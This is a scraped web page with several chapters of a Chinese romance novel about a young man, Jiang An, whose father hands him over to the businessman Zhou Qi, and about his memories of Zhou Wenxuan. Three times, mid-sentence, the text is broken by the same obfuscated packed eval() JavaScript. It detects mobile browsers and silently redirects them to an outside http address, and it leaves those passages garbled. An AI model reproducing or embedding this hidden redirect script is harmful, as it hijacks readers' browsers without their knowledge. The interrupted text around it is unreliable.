一张方桌,三人各坐一边,既不会碰到彼此,也不会影响说话。 相比于江覃的胆战心惊满腹惊疑,江安看着就很放松随意了,不知道的话,还以为那个被打了一巴掌,又被要求不许出门,等待着被送到另一个男人床上的人不是他一样。 就连江博瀚都不由得多看了江安两眼,却也没说什么,看样子是很满意江安的听话。 江安垂下眼睛轻笑,自顾自吃着碗里的饭菜,然后在不经意间突然开口道:“对了,到了周总那里,我是不是就不用去学校了?” 他笑得两只眼睛都弯弯的,右边嘴角的小酒窝让他看起来特别可爱,抬头看着江博瀚的时候又乖又听话。 江博瀚却只是愣了一下,就回复道:“这件事我会亲自打电话跟你们老师说。” 他甚至都没有太多的犹豫,好像当初那个为了让江安上大学,给学校捐了两栋楼的人不是他一样。 虽然这本来就是江安想要的结果,但他在听到这句话后脸上的笑容依旧淡了很多。 用筷子戳了下盘子里的红烧鲫鱼,挑了一块鱼肉塞嘴里,又若无其事地问:“周总那边有说什么时候过来接我吗?” “你给我安分点,不要再节外生枝。”江博瀚警惕地看着江安,冷冰冰地道,“乖乖待在家里等通知就行。” 江安可有可无地点了点头,看上去似乎一点也不在意。 江博瀚又看了江安两眼,放下碗筷,直接上楼了。 等江博瀚的身影消失在楼梯转角,江覃这才如释重负地松了口气,他用一种很奇怪的眼神看着江安,张了张嘴,却什么都没说。 等江安也吃完了准备上楼的时候,他还是没忍住把江安喊住:“你知不知道他是想把你送……”似乎是有些难以启齿,支支吾吾半天,后半句话还是没说出来。 江安挑挑眉,又坐了回去,撑着下巴笑看着他:“送到周齐的床上?”他说这句话的时候没有一点犹豫,也没有半分的羞耻,好像这只是一件很平常的事情。 江覃哪想到江安竟然会直接说出来,轻咳一声,眼神不自觉地左右乱撇,就连说话的声音都小了很多:“你既然知道还回来?他可是一个男人……” 有钱人的圈子里这种事情其实很常见,江覃虽然没见过,但也道听途说了不少,特别是关于周齐的。他欲言又止地看着江安,少见的没有跟他吵架。 江安眯了眯眼,若有所思地看着江覃,忽然惊讶地喊道:“啊!我知道了!” 江覃被吓得差点跳起来,惊疑不定地看着江安:“你知道什么了?” “难道……”江安皱着眉,故意往江覃面前凑,两人的脸贴得特别近,近到几乎能感知到对方脸上的温度。 “难道什么?”江覃吞了吞口水,瞪大了眼睛,不自觉地往后退。 江安就在这样跟着往前,然后在江覃退无可退的时候,突然笑道:“你这是在关心我?” 话音刚落,江覃整个人都僵住了,脸色以肉眼可见的速度涨得通红,紧接着,他猛地站了起来,愤怒地吼道:“滚你X的江安!!” 而这时候的江安已经跑远了,回头看了眼怒目圆睁的江覃,轻笑一声,三步并作两步往楼上跑去。 …… 回到房间后,江安直接把门反锁,靠在门上。 他仰头深吸了口气,再睁开眼时里面的笑意荡然无存。 和一楼富丽堂皇的客厅相比,这间房间看起来就十分简陋了,一张床,一个衣柜,一张书桌,还有一把椅子。灰白色的墙壁上空荡荡的什么都没有,半开着的窗户边上挂着厚重的深灰色窗帘。 这是他的房间,是他住了整整十年的房间。 只是这个房间里似乎不常住人,床铺被叠得整整齐齐的,书桌上整齐地放着两本书,夕阳从窗玻璃透进来,给房间增添了一分萧瑟的氛围。 他伸出手,推开窗户,时间的壁垒似乎在这一刻被彻底打破,在夕阳彻底消失之前,他用力握住了手心里的那一缕光。 这时候一阵电话铃声响起。 江安愣了两秒才反应过来,把口袋里的手机掏出来,看着上面的来电显示。 是周文煊。 哪怕是现在想起来,也还是控制不住的心跳漏了一拍。 电话接通后,双方都没有说话,江安清晰地听到对面传来的呼吸声,急促、有力,带着轻微的喘息,紧贴着他的耳朵,就像是此刻他正趴在对方怀里。 江安用力握紧了手机,下意识将手机拿开,却听到里面传来温柔轻缓的声音:“江安。” 不知从哪里飘过来的秋叶缓缓落在窗台,江安愣了下,顺着叶子飘过来的方向看去。 “我想你了。” 记忆里那个清俊温柔的人就站在梧桐树下,路灯温柔地倾洒在他身上,他似乎一点也没变,微笑着,仰头看着江安。因为奔跑而有些凌乱的发丝被汗水打湿,紧紧地贴在额头,略微有些大的衬衣让他看上去更加的单薄瘦弱。 他冲江安挥手,为紧张而有些迫切的声音混着急促的喘息因透过听筒一丝不落地传到江安的耳朵里:“我好想你。” “咚”、“咚”、“咚” 不知是谁的心跳声在耳边响起,江安把电话挂断,往下看了眼,熟练地从窗户里翻了出去,然后稳稳地落在地上。 周文煊已经跑到了栏杆前面,他似乎一点也不在乎自己的形象,用一个堪称笨拙的方式翻了进来。看到江安走近,他顿了下,理了理衣服,冲江安扬起笑脸。 温柔,从容,如玉般的温润气质,是江安对周文煊最初的印象。 笑容缓缓变大,嘴角的酒窝也若隐若现,江安深深地看着眼前的男人,缓缓走到他面前。 “周文煊……” 他轻唤着周文煊的名字,温柔缱绻,昏黄的路灯从身后打过来,叫人只能看清他微微勾起的嘴角。 “我也,” “想你了。” 怎么会不想,在监狱里的一千多个日夜,他无时无刻不在想着周文煊。 “周文煊……” 他轻笑,伸手轻抚着周文煊的颈侧,似乎能感受得到埋藏在肌肤下正飞速流淌着血液的血管。 “我真的是,太想你了啊。” 周文煊下意识侧过脸,握住他的手,像只猫似的蹭着他的手心。 “小安……” 或许是周齐的刻意安排,被周齐带回家后江安就再也没有见过周文煊,周齐从来不在他面前提起,就好像这世界上根本不存在这么一个人。以至于在周齐死了之后,在医院里看到周文煊的时候,他甚至还有些陌生,这个人似乎就这么从自己的生命里离开了,再也回不来了。 以至于刚回来那会,他甚至都没怎么想起周文煊,就好像他只是一个无关紧要的人。 想到这江安又愉悦地勾起了嘴角,拉着周文煊跑到墙角,抬头看了眼二楼刚关上的窗户,欣喜却又有些埋怨地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861103|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“怎么穿这么少就出来了?小心冻感冒。” 周文煊紧了紧袖口,笑着摇头:“没事,我不怕冷。” 江安不赞同地将周文煊衬衣最上面的扣子扣好,对他道:“扣子又不扣好,都要走光了,我不喜欢你被人看到,就算是一点也不行。” “真想把你藏起来,谁也不给看。”他喃喃道,也不知话里几分真,几分假。 周文煊眼神微顿,垂眸看着江安的动作,眼中闪过一抹不自在,抿了抿唇,抬起头时眼中又只剩下了无奈和温柔:“好,下次不会了。” 看着周文煊一丝不苟的衣领,江安又认认真真地将周文煊袖口的扣子扣好,替他将褶皱的地方理平整,这才心满意足地点头:“这样就好啦!” 周文煊有些难受地扯了扯扣得很紧的衣领,随即眼中又浮现起担忧,以及隐隐的醋意和不甘,犹豫良久,终于还是开口道:“小安,你和我小叔叔……到底是怎么一回事?你是真的,想……和他在一起吗?” 曾经的江安很享受周文煊的醋意,有时候甚至会故意和其他人走得比较近,让周文煊看到,为的就是让周文煊吃醋,然后他再去哄,告诉周文煊自己只喜欢他一个。 这样的游戏江安一直都乐此不疲,而周文煊也是每一次都会因为江安的所作所为而产生醋意,让江安产生了极大的满足感。 “小叔叔?”江安皱着眉,故作不知,靠在墙上扒拉着周文煊的手指头玩,“你怎么还有个小叔叔,我怎么不知道?” 周文煊从小就练钢琴,十指修长,骨节分明,看上去特别好看。江安最喜欢的就是周文煊的这双手。 周文煊指尖微顿,愣了几秒后嘴角扯出一抹笑,不太自然地道:“我小叔叔……就是,周齐。” 听到周齐的名字江安眼睛一亮,嘴角不自觉地勾起一抹笑,看向周文煊时又瞬间皱起了眉:“啊,就是那个断了腿的废物啊。”言语中是漫不经心的恶意。 他继续把玩着周文煊的手指,用最无辜的表情说着最恶毒的话:“唔……这种又老又残的男人我怎么可能看得上?你可别信外面说的那些话,都是骗人的,我跟他半点关系都没有,更不可能和他在一起的。” 周文煊的表情有些尴尬,嘴角却还是雀跃地扬了起来:“其实小叔叔他……人挺好的,而且也很有能力,腿也是因为以前出了车祸才这样的,要是你——” 江安轻啧一声,打断他的话:“周文煊,你是不是吃醋了啊?” 他笑得单纯,勾人的桃花眼里满满都是周文煊的影子。 周文煊被看得有些晃神,不自觉地抓住江安的手,反应过来后又迅速将头撇开,可那抹淡淡的粉红还是顺着脖颈爬上了脸颊。 他的声音有些干涩:“没有。” “真没有?”江安眯着眼睛把他的脸给掰了过来。 周文煊看着江安的眼睛,不自觉地吞了吞口水,脸上的红晕更甚,即将脱口而出的否认却又说不出口。 江安捏了捏他的脸,哈哈大笑:“你就是吃醋了!” “周文煊,你吃醋了!” 在周文煊还没反应过来的时候,他又主动抱住周文煊,拍着他的后背,眼中满是兴味:“你放心,我只喜欢你一个人,不会喜欢那个废物的。” “……真的?” “当然是真的!” 周文煊嘴角轻轻勾起,藏在裤子里的另一只手,悄悄将电话挂断。 他拥住江安,笑得心满意足:“好,我相信你。” 5. 第 5 章 悄悄从侧门溜进来的时候正好撞上郑姨,江安连忙做出一个嘘声的手势,目光瞥了瞥楼上,小声道:“别让他听见。” 郑姨是他们家的保姆,江安还很小的时候就来他们家干活了,可以说是看着江安长大的,也知道他和江博瀚关系不好。 顺着江安的视线看了眼楼梯的方向,轻声把门关上,同样小声道:“我的小少爷诶,你这是又得罪江总了?” 刚刚外面突然飘起了毛毛雨,虽然不大,细密的雨丝飘在头发上却还是结成了一团水雾,手一擦头发就湿了。江安接过郑姨递过来的毛巾,擦着头发,耸了耸肩,无辜地道:“可不是嘛,一生气就把我给关在家里,不让我出门呢。” 以前江安也没少被禁足过,郑姨并未在意,无奈叹了口气,对他道:“看你身上都被雨淋湿了,快去泡个澡去去寒气,我去给你煮碗姜汤。” 江安笑嘻嘻地答应,边走边把上衣脱下来扔进了垃圾桶。 “衣服不要了吗?”郑姨在后面喊。 江安头也不回地摆摆手:“脏了,直接丢掉吧。” 上楼的时候路过江博瀚的房间,房门没关好,还留着一条缝,江安脚步顿住,往这条缝里看,看到一个高大的身影,正站在窗户前,像是在打电话。 恍惚间,江安想起小时候自己总是喜欢跟在江博瀚身后。小孩子走不快,却努力想追上前面的人,前面的人虽然没有回头,却永远会慢一步,等他过来。 “嗯,对,江安现在在家里……嗯,已经答应了,周总那边随时可以派人过来接他。” 冰冷的话语又瞬间把江安给拽回了现实。他闭了闭眼,再睁开时眼中只剩下了满满的嘲讽。 他不知道周齐许了江博瀚什么好处,不然以江博瀚这种面子大过天的性格,是断然不可能做出把自己的儿子送到另一个男人床上这种事。江安以前也有想过去问周齐,但每次话到嘴边又会被他拿其他的借口给搪塞掉,也不知道自己是在怕什么。 但对现在的江安来说,原因已经不重要了,重要的是这次他已经决定要走到周齐身边。 外面雨已经下大了,噼噼啪啪地砸在窗户上。江博瀚挂断电话,把窗户打开,带着丝丝雨水的秋风就这样直接吹在身上,寒凉透骨。 “砰”的一声,房门被吹得用力关上,江博瀚回头看了眼,眉心轻轻蹙起。 他走到房门口,轻轻将门锁拧开,看着空无一人的走廊,最后将视线定格在走廊深处那扇紧闭的房门上,指尖轻敲着门锁,然后将门关上。 他走到桌前拉开抽屉,看了角落里的一个红色水晶球,从旁边拿了包烟,火苗将烟丝点燃,烟丝蜷缩着,散发出一股呛鼻的味道。他吸了口烟,用齿尖咬着,抽了张纸巾将刚不小心落在水晶球上的烟灰擦掉,拿在手上看了好一会儿才放回去,将抽屉锁上。 水晶球看起来有些幼稚了,里面是一个卡通小人,正笑得开心,一点也不像江博瀚这个年纪的人会喜欢玩的。 其实有时候江博瀚觉得江安那种执拗不服管教的性子很像自己,也正是因为像,江博瀚才猜不透江安为什么会答应这件事。毕竟,江安对周家那小子的在意他一直都看在眼里。 不过具体是什么原因他并不是很有兴趣,只要江安能够乖乖听话,听从他的安排就够了。 吸完了最后一口烟,江博瀚将烟头捻灭,关上窗户,将风雨全部隔绝在外。 * 第二天的时候江安很早就醒了。他睡得不好,眼睛一闭上脑海中就满满的都是周齐的影子。 下楼吃早饭的时候江覃在那挑火嘲讽他都没理,让江覃觉得自己像是一个人在唱单簧,也是没趣地闭了嘴,倒是难得的安静了下来。 今天周一,江覃吃完早饭后就去学校了。 郑姨收拾餐桌,下意识地问道:“不去学校吗?” 江安盘膝坐在沙发上翻看杂志,头也不抬地道:“哦,我不是被禁足了嘛,可不得乖乖听话待在家里。” 郑姨有些诧异地看了他两眼,也没多说什么。在这种有钱人的家里干活,最重要的就是别有太多的好奇心。 周家的企业涉及到很多领域,像金融房地产这些杂志上经常能看到周齐的影子。他总是作为成功人士被采访,虽然坐在轮椅上,没有别人高,可旁边的人却也只能对他低头哈腰,满脸的讨好。 周齐在商场上手段狠辣,再加上他一直都没什么绯闻,总是摆着一副冰山脸,外界就传他不近人情,没有一点正常人类该有的情感,是个冷漠的机器人。 被发现是同性恋还是因为一场意外,消息虽然很快就被封锁了,但到底还是流传了出来。从此以后,外界对周齐的讨论又多了同性恋这一话题,只不过也不知道是调侃的多还是嘲讽的多。 说起来江安虽然和周齐在一起生活了那么多年,但他对周齐的了解却并不多。在他看来,周齐就是一个特别完美的人,不管是哪个方面,都堪称完美到了极致。 也许是因为太过完美,江安就总觉得周齐活得像个假人,似乎连一点人类该有的喜怒哀乐都没有——除了把他腿给打断的那次。 这种没有太多情绪的人江安总是觉得无聊,他甚至有种,不管他做什么,周齐都不会在意的感觉。他不止一次地故意激怒周齐,但周齐最后也只是平静地点了点头,对他道:“说完了吗?” 然后江安就会觉得很丧气,完全没有一点沟通欲望。 江安也想过,如果那时候他不是靠周齐养着的话,估计他早就跑了。 “小少爷。”是郑姨在喊他。 思绪被打断的江安并没有生气,将印有周齐照片的杂志合上,抬头看过去:“怎么了?” 江安说话的时候嘴角总是带着三分笑意,漂亮的桃花眼睛总是会微微眯着,像只狡黠的狐狸,招人喜欢得紧。 郑姨的表情也柔和了很多,言语却带着一丝担忧:“江总他让你去书房找他。” 江安打开手机看了眼时间,挑了挑眉,没想到自己竟然光在这看杂志就看了一个多小时。 “哦,好。” 江博瀚这时候找他估计也是因为周齐的事,就是不知道他的这位父亲,会在这时候交代他什么。是交代他怎样在床上服侍周齐吗?毕竟周齐可是个残疾,有很多事情都必须靠别人帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861104|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 想到江博瀚一本正经地和自己讲这些东西江安就想笑,不过他也知道江博瀚是不会说这种事的。 可他没想到的是,江博瀚把他喊过来,竟然是跟他说退学的事。 也许是早就对江安失望了,从初中开始江博瀚就没再问过江安学习上的事,考不上就花钱砸,不管里子烂成什么样了,只要面子上过得去就行。 江博瀚上一次和江安讲学习的事,好像还是小学,也记不清是几年级的事情。 “我刚和你们老师打过电话了。”江博瀚示意江安坐下,“老师的建议是,先不着急办理,可以请假休息一段时间,等想好了再做决定。” 这次江安是真的非常意外了,江博瀚这是在征询他的意见? 但江安知道,江博瀚这种独断专行的人是不可能去征询他的意见的。 果不其然,江博瀚接着说道:“这件事我问过周总了,周总的意思是让你自己做决定。” 闻言江安整个人都松了口气,随即他又缓缓勾起了唇,没有直接回答,而是轻描淡写地道:“在这之前,我想先问一个问题。” 江博瀚坐在桌子的另一边,手肘撑在桌上,双手交叠,放在嘴边,一双冷静到近乎无情的眼睛紧紧盯着江安,过了良久才说道:“什么问题?” 江安眯了眯眼,靠在椅子上,拿过桌上的签字笔,手指转动,不紧不慢地敲击着桌面。 “你这是,把我卖给周齐了吗?” 江博瀚是一个控制欲很强的人,江安和江覃从小就没有什么选择的余地,而江博瀚也从来不允许别人对他的决定指手画脚。像这种小事,按照江博瀚的性格是不会去专门“请示”周齐的,那么唯一的原因,就是对江博瀚来说,江安已经不“属于”他了。 他毫不示弱地盯着江博瀚,像是得不到答案就誓不罢休。 时间仿佛在这一刻静止,江安甚至能听到自己的心跳声,心脏正一下下撞击着他的胸腔,越来越快。 “是的。” 江博瀚说, “你现在属于周总。” …… 江安不知道自己是怎么离开书房的,等他回过神来的时候,就已经躺在床上了。 说不清心里到底是一种什么样的感觉,也许有失落吧,又或许是松了口气,心里面空落落的,整个人都没什么力气。 最后江安还是选择了退学,他不喜欢这所学校,不喜欢学校里的人,不喜欢学校里的事,不喜欢学校里的一切,他无比迫切地想要将自己和学校切割干净,没有一点再回去的欲望。 就像当初一样,在和江博瀚决裂后就迫不及待地离开了那里。 有时候命运就像一个圆,不论你往哪走,似乎都会回到最初的原点。 心里莫名的有点慌,江安迫不及待地想证明什么。他摸索着从口袋里掏出手机,打开拨号界面,甚至都不需要思考,手指就自动按下了一串号码。 有些东西在时间的长河中已经化作了一个人的本能,潜移默化地改变着他的习惯,像是刻在了灵魂里,不论中间隔着多么悠久的岁月,都会在那一瞬间,被清晰地记起。 6. 第 6 章 一直到电话自动挂断,都没被接通。 难道是在开会?又或者是在见客户?还是在忙些别的什么事情? 周齐是一个非常热爱工作的人,一天二十四个小时有十八个小时都在公司,还有六个小时回家睡觉,甚至有时候连睡觉都在公司里,家这种东西仿佛成了一种摆设。 江安翻了个身,说不清心里是什么样的感觉,看着那串没有被接通的那个号码,那一刹的冲动又在这一刻烟消云散。他本来想等会再打一次的,可看了半天,最后也没有再打一遍。 这是周齐的私人号,一般只有他最亲近的人才知道,突然有个莫名其妙的号码打进来,换作是他也不会接,说不定还会被当成骚扰电话,拖进黑名单。 想是这么想,但江安还是有点不高兴。 周齐怎么能不接他的电话呢?以前从来都没有过。 他有些气闷地从床上爬起来,在桌上找到充电器,给手机充上电,关上灯,准备睡觉。可闭上眼睛还没多久,他又从床上爬起来,又打了一遍电话。 可这次不等对面接通,他就直接挂断了。 他在床上翻来覆去,总觉得心里面憋得慌,怎么也睡不着。 * 醒来的时候外面天已经亮了,江安迷迷糊糊地挂断电话,看着镜子里眼睛下面的那两个黑眼圈,只记得潘乐游最后说的那句:我等你。 等什么?潘乐游有说什么事吗? 江安想着应该也不是什么大事,就没有再去问了。 这个点家里只有郑姨一个人,江覃去学校了,江博瀚则是一大早就去了公司。 江安一边打着哈欠一边慢悠悠地从楼上下来,郑姨见状连忙催促他去洗漱,说给他做了他最喜欢吃的奶黄包。 江安口味偏甜,软糯香甜的奶黄包是他的最爱,吃了几十年都没吃腻,周齐就总是让阿姨做给他吃。他笑嘻嘻地和郑姨打了个招呼,又乐颠颠地准备去洗漱,不料他刚转身,客厅里的电话就响了起来。 郑姨走过去接,随即表情一顿,下意识地看向江安,神情中带着些许疑惑。 “江总说,有事找你。” 江安像是有什么预感一样,脸上的笑意瞬间消散,却也没什么犹豫,走过去接了电话。 等挂断电话,郑姨担忧地看向江安,但江安只是无奈地对她笑笑,道:“抱歉了郑姨,奶黄包我可能吃不上了。” 他回到自己的房间,简单洗漱一下,换上干净的衣服,又最后看了眼自己生活了十年的地方,没有多做留恋,什么也没带,就这样转身离开。 郑姨还不知道发生了什么事,略有些茫然和局促地站在客厅里,江安换上鞋子,回头看着她,最后还是走上前,轻轻拥住。 “江总他,是有什么很重要的事找你吗?” 江安想了下,笑着说道:“嗯,算是吧。” 郑姨揪紧了围裙:“晚上给你做糖醋鱼。” 江安站在门口,冲她摆了摆手,也没说什么,径直走向不远处停着的那辆轿车。 车门处站着一个身穿黑色西装服的保镖,江安对他有点印象,身手很好,跟了周齐很久,也在他被周齐捡回家之后,成了他的“监督人”。 说起来江安和这位“监督人”相处得还算不错,只是目前他还不认识他,一副公事公办的样子。 但江安知道,在成为他的“监督人”之前,他一直是跟在周齐身边的,可以说寸步不离。 那么…… 江安眯了眯眼,透过车窗玻璃往里面看,入眼却只有黑漆漆的一片,什么也看不到。 他缓缓走到车子前面,看着这位“监督人”,看着他将车门缓缓打开,心也不由自主地提到了嗓子眼。 “江少,请进。” * 车子平稳地行驶在马路上,窗户外的景色飞速闪过。 江安懒懒地斜靠在车窗上,状似无意地问道:“周齐呢?” “监督人”抬头看了眼后视镜,面无表情地道:“周总在开会。” 开会开会,又是开会。 在江安看来,如果说周齐有什么兴趣爱好的话,那一定就是开会了。以前他为了帮周文煊窃取公司资料的时候,主动和周齐接触,而在和周齐相处的那段时间,基本上有一半的时间都是在周齐公司里。 江安是个很喜欢玩的人,不爱学习,不服管教,完完全全就是个只知道吃喝玩乐的富二代。也正因此,他生平最不喜欢的就是周齐这种人。 死板、无趣,脑子里只有工作。 相比较而言,周文煊就识趣得多。 不过人在屋檐下不得不低头,江安后来也慢慢习惯了周齐一星期七天有四天都待在公司里。 或许是他现在又回到了自己二十岁时候的躯壳,就连思想似乎也变得幼稚起来,对周齐这种脑子里只有工作的行为还是产生了些许的不满。 “哦,”他百无聊赖地应了一声,“这么忙啊?” 江安这副漫不经心的样子不由得让“监督人”多看了两眼,同时心中也产生了不满,不明白周齐为什么会为了这个人花那么大的价钱。 他闭上眼,本不想理会江安,但最后还是忍不住辩解道:“周总一直都很辛苦。” 周齐虽然很有钱,但不是个喜欢铺张浪费的人,又或者说他对自己的生活环境并没有太高的要求——能住就行。 两室一厅,一厨一卫,再加个办公用的书房,总体面积并不算大,估计也就一百平的样子,相比于江家,甚至可以称得上“寒酸”。 “监督人”把江安送到了家,也没说什么,就打算走了。 江安把他叫住:“喂,你就这么走了?” “监督人”微微蹙眉,回头看着江安。 江安无辜地看着他:“你就把我一个人丢这里?不怕我跑了?” “监督人”闻言眉毛皱得更紧了,却还是公事公办地道:“周总并没有说要限制你的自由。” 言外之意就是,就算江安要跑,他也不会拦他。 江安眨了眨眼睛,心中百思不得其解。难道说周齐费这么大功夫把他弄回来,就是让他跑的?不应该吧,周齐从来不做亏本的买卖。 要他俩身份对调一下,那不得把周齐锁在家里,哪哪都不能去,谁也不让见? 不等江安反应过来,“监督人”就转身走了。 随着“砰”的一声关门声,江安一屁股坐在沙发上,仰头看着天花板,脑子里乱七八糟的,也不知道在想些什么。 他本以为自己过来是要做周齐笼子里的那只金丝雀,甚至都已经想好了该怎么去讨好自己的主人,结果等他主动进了笼子,却发现笼子的门没有关,自己随时都可以逃走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861105|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那么…… 他站起来走到大门前面,伸手握在门把手上,轻轻往下一拧。 “咔嗒” 门被推开了一道小小的缝。 没有上锁,门口也没有人,他随时都可以走。 他又仰头在家里四处寻找起来,也并没有看到类似摄像头的东西。也就是说,周齐并没有监视他。 而按照周齐的性子,也不会和江安玩这种欲擒故纵的把戏。他从来都不会拦着江安,只要江安想,随时都可以走。 他重新将门关上,靠在门上,低头轻笑。 他想起来自己以前也不是没有过离家出走的时候。 那时候他刚从里面出来没多久,脾气暴躁不说,烟瘾也很大,周齐只要一天不在家,等回家的时候家里可以说是烟雾缭绕。而这时候江安还会笑嘻嘻地拍拍沙发,喊他过来坐。 周齐嘴上没说什么,乖乖坐到江安身边,可第二天,江安就发现家里的香烟莫名少了一盒。 一开始江安还以为自己神志不清记错了,直到半个月后,江安才发现原来是周齐给偷偷拿走了。 他生了好大的气,对周齐的辱骂可以说是无所不用其极,明明一开始说他想抽多少都可以,结果这才过去多久,三个月还没有,周齐就开始管控他的香烟。 当晚,江安在对周齐进行了一通辱骂后,连东西都没收拾就走了。 出乎意料的是,周齐并没有拦他,也没有派人去找他。而江安在外面流浪了三天后,又灰溜溜地回来了。 江安看着那个点本该待在公司的周齐,莫名的有些尴尬,而周齐也只是看了他一眼,什么都没说,继续对着电脑办公。 “那个……”江安闻了闻身上的馊臭味,饿了许久的肚子传来一阵绞痛,但他还是忍着疼装作若无其事的样子道,“我去洗澡。” 周齐像是知道他心里在想什么,头也不抬地指了指厨房,对他道:“厨房里有吃的,放微波炉里热一下就行。” 江安眼睛一亮,刚想说什么的时候又马上顿住,轻咳一声,装作无所谓的样子不耐烦地道:“啧,我知道,不用你说。” 直到路过周齐的时候,他才发现周齐竟然在开线上会议。 这导致江安有好长一段时间不敢去周齐公司。 江安之前在家里的时候就总是和江博瀚吵架,然后离家出走,后来到了周齐家,这种事也没少干。但奇怪的是,周齐每一次都不会去拦他,也不会让人找他,可江安总觉得自己脖子上被周齐套了个看不见的项圈,不管他走多远,总会回到周齐身边。 …… 一觉醒来的时候已经是下午两点了。 江安迷迷瞪瞪地从床上爬起来,打了个哈欠,走到厨房,熟练地将阿姨煮好的饭菜放进微波炉,在等待的时候他下意识掏出手机,给记忆中的那个号码发了条短信。 【喂,你怎么还不回来?你不回来老子就去外面找小年轻了。】 等终于吃上热腾腾的饭菜了,江安的脑子才逐渐清醒了起来。他总觉得自己好像忘记了什么事,但一时半刻也没想起来,就没在意了。 直到他掏出手机刷短视频,看到好笑的视频准备分享给周齐的时候,却没在自己的好友列表里找到周齐。疑惑片刻,他突然想起来自己现在才二十岁,不是那个和周齐在一起生活了好几年的江安。 7. 第 7 章 短暂的惊慌后,是一种说不上来的怅然若失。 他又忘了,周齐现在是不认得这个手机号码的。 就像之前他打电话过去周齐不会接一样,就算是看到这条短信,周齐估计也不会有什么反应,说不定还以为是什么垃圾短信,直接删除拉黑。 他嘲笑自己的紧张,把手机丢到一边后,趟沙发上准备眯一会。 这时候手机响了,是有人给他发信息。 心里一个咯噔,他睁开眼,不敢去看是谁给他发的消息。而就在他纠结的这么会儿功夫,又是一连串的消息提示音响起。 悬着的石头终于落下,也说不清是一种怎样的感觉,是失望,又或是庆幸。 发消息的是周文煊,虽然没有明说,但话里话外都在问他现在在哪。 没记错的话,周文煊现在应该在隔壁省参加学术交流,没想到消息还算灵通,他上午才到周齐这,下午他就发了消息问他。 但既然周文煊非要装作自己不知道,江安也乐得跟他装傻,回了三个字: 在家啊。 几分钟后,周文煊才回复: 我想你了。 江安看着这条信息,莫名觉得好笑,躺在沙发上笑了好久,盘算着周文煊耐心即将告罄的时候,终于回复了: 我也是。 短暂的对话又让他想起了一些过去的事情。 某方面来说,周文煊这个人是相当优秀的,不管是成绩还是为人处世,都比别人要高上一筹。他不会放过任何强大自己的机会,哪怕不择手段,哪怕背弃良心,哪怕让自己遍体鳞伤,也要得到自己想要的一切。 江安很欣赏这样的人,也曾经被他这样的特质迷住。特别是在那件事情发生之后,他一度认为周文煊和自己是一类人,像他们这样的人,就应该在一起,报团取暖也好,腐烂发臭也罢,总之,谁也离不开谁。 可这样的想法总是一厢情愿,最后他还是一头栽死在了周文煊身上,怨不得别人,只能怪他自己。 江安仍旧记得,监狱里的天空永远看不完整,高大的水泥墙,将天空切割成了四四方方的格子,不论你怎样伸长脖子,也只能在这样的方格里抬首仰望。 如果可以,江安也想让周文煊进去看一下,他曾经看过的天空。 * 不知不觉已经快五点了,周齐一般是五点半下班,家里离公司近,开车也就十分钟,不出意外的话还有半个多小时就要回来了。 这一刻江安又退缩起来。 想到很快就要见到周齐,江安突然就有种近乡情怯的紧张感。 二十八岁的周齐是怎么样的?现在回想起来脑子里只有一个模糊的身影。他意识到自己以前从未在意过周齐。 时间在这一刻又变得格外漫长,让人坐立不安。江安想给自己找点事做,去了客房,把刚刚被自己睡乱了的床铺重新铺好。 他认真地叠着被子,就像之前的每一次那样。 也许是因为后天的残疾,周齐的性子多多少少都有些古怪,有些洁癖,还有些强迫症,就比如见不得家里乱糟糟的一团,也见不得江安这种不叠被子的习惯。 一开始周齐还会让江安起床后把被子叠叠好,床铺理理整齐,不要把家里弄得那么乱,但江安实在是不服管教,每次周齐下班回来家里都是乱糟糟的一团,看得周齐眉头紧皱。 也许是看透了江安的懒惰,也不知道从什么时候开始周齐就不说了,只是会在每次回家之后,一个人默默地把被子叠好,把被江安弄脏弄乱了的地方收拾干净。 江安就在一旁当甩手掌柜,问周齐为什么不让阿姨弄,当时周齐只说了一句话:“我希望我可以有用点。” 后来周齐不在了,江安也不知道为什么,有时候脑子里什么都没想,等回过神来之后,就发现自己已经把屋里都收拾干净了。于是这个习惯,就被江安给继承了下来,一直到他死。 随着门锁被打开的声音响起,回忆被迫中断。 熟悉的轮椅在地砖上滚动的声音响起,江安先是愣了一下,转头看过去,在看到来人的一瞬间,脑海中嗡一声突然炸响,耳边是疯狂鼓动的心跳声,还有分不清现实和梦境的鸣响。 口干舌燥,手脚发麻。 他甚至都不知道自己在做什么,只是凭借本能,走到了来人的面前。 和记忆中的一样,哪怕坐在轮椅上,也依旧背脊挺直。腿上盖着条深灰色的毛毯,上半身穿着一件黑色的风衣外套,里面是一件白色衬衫,领口的扣子被扣到了最上面的那颗,带着一种说不清的禁欲感。 